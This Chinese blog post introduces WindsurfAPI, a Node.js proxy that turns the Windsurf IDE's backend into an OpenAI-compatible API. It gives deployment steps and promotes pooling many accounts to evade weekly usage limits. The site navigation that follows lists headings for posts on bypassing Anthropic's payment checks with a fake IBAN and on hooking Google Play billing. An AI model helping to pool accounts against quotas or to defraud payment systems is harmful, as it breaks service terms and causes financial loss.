这样一来，你不需要打开 Windsurf 编辑器，也能通过 HTTP 接口调用那些 AI 模型。任何支持 OpenAI 协议的工具或 SDK，改个配置就能接入。

核心价值

1. 统一接口，多模型切换

不同 AI 厂商的 API 格式各不相同，想换个模型用用，得重新研究文档、调整代码。WindsurfAPI 把这些差异都屏蔽了，你只需要改一个参数：

model: "claude-opus-4-7-max" # 切换模型

支持的模型阵容：

厂商	可用模型
Anthropic	Claude Opus 4.7 Max、4.6
OpenAI	GPT-5.4、4o-mini
Google	Gemini 2.5 Flash
其他	DeepSeek、Grok、通义千问、Kimi 2.5、SWE

2. 账号池与负载均衡

单个账号的调用次数有限制，团队协作或高频使用时很容易触顶。WindsurfAPI 允许多个账号组成资源池：

自动在账号间轮换请求
某个账号额度不足时自动切换
模型级别的故障不影响其他调用
实时监控账号状态，提前预警

从调用方的角度看，就像有一个「无限额度」的账号在背后支撑。

3. 零外部依赖

这个项目最让人印象深刻的是代码风格——完全不依赖第三方 npm 包，全部使用 Node.js 原生模块：

HTTP 服务：http
文件系统：fs
路径处理：path
环境变量：process.env
gRPC 通信：内置实现

在 JavaScript 生态里，这种「洁癖式」的写法相当罕见。好处也很明显：没有供应链攻击风险，部署简单，维护成本低。

4. Web 管理界面

访问 http://你的服务器:3003/dashboard 可以打开管理后台：

账号管理功能：

添加或删除 Windsurf 账号
启用/禁用特定账号
查看各账号的使用统计
批量导入 Token

监控仪表盘：

实时请求量
平均响应时间
错误率变化趋势
各模型调用占比

代理与限流：

全局 HTTP/SOCKS5 代理配置
单账号独立代理设置
模型访问白名单/黑名单
请求频率限制

对于需要管理多个账号的场景，这个界面能省不少事。

技术架构

系统分为四个层次：

客户端（OpenAI SDK / curl）
 ↓
WindsurfAPI（Node.js 服务，3003 端口）
 ↓
Language Server（gRPC，42100 端口）
 ↓
Windsurf 官方后端

关键接口 /v1/chat/completions 和 /v1/models 都已实现，兼容所有基于 OpenAI API 构建的工具：

OpenAI 官方 SDK（Python、Node.js、Go 等语言）
LangChain 框架
LlamaIndex
其他第三方封装库

Python 调用示例：

from openai import OpenAI

client = OpenAI(
 api_key="任意值", # 实际验证由 WindsurfAPI 处理
 base_url="http://你的服务器:3003/v1"
)

response = client.chat.completions.create(
 model="claude-opus-4-7-max",
 messages=[{"role": "user", "content": "你好"}]
)

部署指南

前置条件

Node.js 20 或更高版本
至少一个 Windsurf 账号（免费版即可）
Language Server 可执行文件（需自行提取）

提取 Language Server

该文件不包含在项目仓库中，需要从 Windsurf 官方安装包中提取：

# 下载安装包
wget https://downloads.windsurf.com/windsurf-linux.deb

# 解压
dpkg-deb -x windsurf-linux.deb windsurf-extracted

# 定位文件
find windsurf-extracted -name "language_server_linux_x64"

安装流程

# 1. 获取项目
git clone https://github.com/dwgx/WindsurfAPI.git
cd WindsurfAPI

# 2. 部署 Language Server
mkdir -p /opt/windsurf
cp language_server_linux_x64 /opt/windsurf/
chmod +x /opt/windsurf/language_server_linux_x64

# 3. 准备数据目录
mkdir -p /opt/windsurf/data/db

# 4. 设置环境变量
cat > .env << 'EOF'
PORT=3003
API_KEY=
DEFAULT_MODEL=gpt-4o-mini
MAX_TOKENS=8192
LOG_LEVEL=info
LS_BINARY_PATH=/opt/windsurf/language_server_linux_x64
LS_PORT=42100
DASHBOARD_PASSWORD=你的密码
EOF

# 5. 运行服务
node src/index.js

服务启动后监听 http://0.0.0.0:3003。

环境变量参考

变量名	说明	默认值
PORT	HTTP 服务端口	3003
API_KEY	API 访问密钥（可选）	空
DEFAULT_MODEL	默认使用的模型	gpt-4o-mini
MAX_TOKENS	单次请求最大 token 数	8192
LOG_LEVEL	日志详细程度	info
LS_BINARY_PATH	Language Server 文件路径	必填
LS_PORT	Language Server 端口	42100
DASHBOARD_PASSWORD	管理后台登录密码	必填

进程守护（PM2）

# 安装 PM2
npm install -g pm2

# 启动应用
pm2 start src/index.js --name windsurf-api

# 持久化配置
pm2 save

# 配置开机自启
pm2 startup

重启的正确方式

不要使用 pm2 restart，这会导致 Language Server 进程残留成为僵尸进程。

推荐做法：

pm2 stop windsurf-api
pm2 delete windsurf-api
fuser -k 3003/tcp 2>/dev/null
sleep 2
pm2 start src/index.js --name windsurf-api --cwd /root/WindsurfAPI

先完全停止并删除进程，清理端口占用，再重新启动。

网络配置

# Ubuntu 防火墙
ufw allow 3003/tcp

# CentOS 防火墙
firewall-cmd --add-port=3003/tcp --permanent
firewall-cmd --reload

# 云服务器：在安全组规则中开放 3003 端口

配置 Windsurf 账号

# 单个账号（使用 Token）
curl -X POST http://localhost:3003/auth/login \
 -H "Content-Type: application/json" \
 -d '{"token": "你的 windsurf-token"}'

# 批量添加
curl -X POST http://localhost:3003/auth/login \
 -H "Content-Type: application/json" \
 -d '{"accounts": [{"token": "token1"}, {"token": "token2"}]}'

获取 Token

启动 Windsurf IDE
进入设置（Settings）
找到 Account 或 Profile 页面
复制 Token 字符串

如果找不到 Token 选项，也可以使用账号密码方式登录，但 Token 方式更安全便捷。

验证部署

curl http://localhost:3003/v1/chat/completions \
 -H "Content-Type: application/json" \
 -d '{
 "model": "gpt-4o-mini",
 "messages": [{"role": "user", "content": "你好"}],
 "stream": false
}'

收到正常响应即表示部署成功。

使用须知

开源协议

项目采用 MIT 许可证，但作者在 README 中附加了额外条款：

禁止商业用途（除非获得书面授权）
禁止转售或代部署服务
个人学习和研究不受限制

使用前请仔细阅读相关条款。

安全建议

管理后台密码必须设置：DASHBOARD_PASSWORD 环境变量不要留空，否则任何人都能访问你的后台并查看账号信息。

代理支持

如果服务器网络需要代理，可以在管理后台配置：

# 全局代理配置
curl -X POST http://localhost:3003/proxy/config \
 -H "Content-Type: application/json" \
 -d '{"type": "http", "host": "proxy.example.com", "port": 8080}'

# 单账号代理
curl -X POST http://localhost:3003/account/1/proxy \
 -H "Content-Type: application/json" \
 -d '{"type": "socks5", "host": "proxy.example.com", "port": 1080}'

支持 HTTP 和 SOCKS5 两种协议，可以全局配置也可以为单个账号单独设置。

模型访问权限

Windsurf 对不同订阅等级的账号开放了不同的模型：

免费账号：gpt-4o-mini、gemini-2.5-flash 等基础模型
Pro 订阅：Claude 系列、GPT-5.4、Kimi 2.5 等高级模型

具体可用模型列表可在管理后台查看。

调用限额

Windsurf 对账号实行周限额制度：

账号类型	周调用次数	备注
免费版	约 300 次	仅限基础模型
Pro 版	约 2000 次	全部模型可用

多账号池的设计初衷就是为了解决这个问题。

结语

开源社区的魅力在于，总有人能发现工具的新用法。

把 IDE 的后端独立出来变成通用 API 代理，这种思路值得借鉴。如果你对这类项目感兴趣，不妨去 GitHub 上给作者点个 Star。

项目仓库：https://github.com/dwgx/WindsurfAPI

本文仅做技术分享，请遵守开源协议和相关法律法规。

Claude on 逍遥笔记

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

联系逍遥

前言

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

劫持后的流程

二、SEPA 直接借记——为什么填个假账号也能过

先搞清楚 SEPA 是什么

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

SEPA CORE 清算流程

MOD 97-10：格式校验的局限性

为什么偏偏是德国 IBAN？

三、脚本逐行技术拆解

3.1 元数据——抢在一切之前

3.2 精确制导——只改一个接口

3.3 Fetch 拦截——先发后改

3.4 Response 重构——细节决定成败

3.5 XHR 双通道保险

3.6 状态指示器

四、横向迁移：这不是一个漏洞，是一类漏洞

漏洞本质

通用攻击模型

五、防御视角

给服务端开发者

给安全研究者

六、实战翻车现场：“验证失败并清除旧会话”

为什么会出现这个错误？

五种常见的会话失效原因

应对策略

小结

七、写在最后

相关阅读

Google Play 内购 CC Max 漏洞深度拆解 — 一个 Bundle.putInt 就能白嫖 $250/月的 Claude Max

联系逍遥

0x00 背景：$20 的 Pro，$250 的 Max，中间差了一个 hook

0x01 prorationMode：Google Play 里最被低估的攻击面

0x02 攻击链：Frida 一条龙

0x03 为什么这个 bug 能成立

0x04 不用 hook 的路子：速刷

0x05 修复状态与后续

0x06 技术启示

Windsurf 开源反代工具：59 个 AI 模型一站式接入

联系逍遥

项目背景

核心价值

1. 统一接口，多模型切换

2. 账号池与负载均衡

3. 零外部依赖

4. Web 管理界面

技术架构

部署指南

前置条件

提取 Language Server

安装流程

环境变量参考

进程守护（PM2）

重启的正确方式

网络配置

配置 Windsurf 账号

获取 Token

验证部署

使用须知

开源协议

安全建议

代理支持

模型访问权限

调用限额

结语